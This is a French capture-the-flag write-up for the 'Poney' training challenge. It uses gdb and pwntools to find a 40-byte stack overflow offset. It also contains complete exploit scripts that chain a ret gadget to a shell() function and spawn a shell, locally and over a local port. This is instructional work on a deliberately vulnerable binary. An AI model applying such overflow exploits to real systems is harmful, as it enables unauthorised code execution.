Solution de csocso_56317 pour Poney

intro pwn x86/x64 stack

31 août 2026

L’invite du programme poney laisse à supposer que l’on peut accéder à un shell en s’y prenant bien. Enter yaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa! plante le pauvre poney. Ca sent le pawn. Ce qui suit a été fait sur un amd64.

identifier fonction cible

Passons sous gdb:

gdb ./poney
(gdb) info functions

Que vois-je? une fonction shell à l’adresse 0x400676 ! Au besoin, quitter gdb et installer pawn tools.

Installer pawn tools

python3 -m venv venv
source venv/bin/activate
pip install --upgrade pip
pip install pwntools

Bourer la pile

executer

from pwn import *
print(cyclic(200, n=8).decode())

pour obtenir la belle chaine cyclique…

aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

…et la passer à la pauvre bête dans gdb.

gdb -q poney
(gdb) run
Give me the correct input, and I will give you a shell:
>>> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa

Program received signal SIGSEGV, Segmentation fault.
0x00000000004006db in main ()
(gdb) info registers rip rbp rsp
rip            0x4006db            0x4006db <main+82>
rbp            0x6161616161616165  0x6161616161616165
rsp            0x7fffffffde18      0x7fffffffde18
(gdb) x/4gx $rsp
0x7fffffffde18: 0x6161616161616166      0x6161616161616167
0x7fffffffde28: 0x6161616161616168      0x6161616161616169
(gdb)

Le motif cyclique utilisé ressemblait à ceci, découpé en blocs de 8 octets :

offset  0 : aaaaaaaa
offset  8 : baaaaaaa
offset 16 : caaaaaaa
offset 24 : daaaaaaa
offset 32 : eaaaaaaa [0x6161616161616165 - dans le rbp de l'équidé qui a une indigestion après 32 octets]
offset 40 : faaaaaaa [0x6161616161616166 - dans son rsp, ce serait bien de mettre 0x400676 ici (la pile)]
offset 48 : gaaaaaaa

On se remet en shell (ahah)

Voici comment maîtriser la bête avec Pawntools

from pwn import *

# Indique à pwntools quel binaire est utilisé.
# Cela permet notamment de détecter automatiquement :
# - l'architecture (ici amd64 / 64 bits)
# - le contexte d'exécution
# - certaines informations ELF
context.binary = "./poney"

# Lance le programme localement.
# 'io' représente la connexion avec le processus :
# on peut lui envoyer des données et lire ses réponses.
io = process("./poney")

# Première partie du payload :
# 40 octets remplissent le buffer puis écrasent les données
# situées avant l'adresse de retour.
#
# L'offset 40 a été trouvé avec le motif cyclique :
# - buffer : offsets 0 à 31
# - ancien rbp : offset 32
# - adresse de retour : offset 40
payload = b"A" * 40

# Ajoute l'adresse d'un simple gadget 'ret' trouvé avec la commande ROPgadget --binary ./poney | grep ': ret$
#
# Le gadget ret dépile la valeur suivante sur la pile et effectue
# un saut vers cette valeur. Ici, il sert principalement à décaler
# la pile de 8 octets afin de respecter l'alignement requis
# avant l'appel à system() dans shell().
#
# p64() encode l'adresse sur 8 octets, au format little-endian 
payload += p64(0x40053e)

# Adresse de la fonction shell().
#
# Après l'exécution du gadget ret, le processeur saute vers cette
# adresse. La fonction shell() lance ensuite /bin/bash.
payload += p64(0x400676)

# Envoie le payload suivi d'un retour à la ligne.
#
# sendline() est équivalent à send(payload + b"\n").
# Le retour à la ligne permet au programme vulnérable de terminer
# la lecture de l'entrée, par exemple avec gets(), fgets() ou scanf().
io.sendline(payload)

# Passe en mode interactif.
#
# À partir de ce moment :
# - ce que tu tapes est envoyé au processus ;
# - les réponses du processus sont affichées dans le terminal.
#
# Comme shell() a lancé Bash, cette ligne te permet d'utiliser
# le shell obtenu.
io.interactive()

Là, normalement, tu vois une nouvelle invit en forme de $. essaie ls pour voir?

Galop 4000

Maintenant il ne reste plus qu’à tester sur le docker. Pawntool peur se connecter au port 4000.

from pwn import *
context.log_level = "info"
io = remote("localhost", 4000)
io.recvuntil(b">>>")
payload  = b"A" * 40
payload += p64(0x40053e)  # ret
payload += p64(0x400676)  # shell
io.sendline(payload)
io.interactive()
"""
docker compose up &
(venv) xx@xx:.../Hackropole/poney$ python3 pwn_poney_3.py
[+] Opening connection to localhost on port 4000: Done
[*] Switching to interactive mode
 $ whoami
ctf
$
"""

y’a plus qu’à!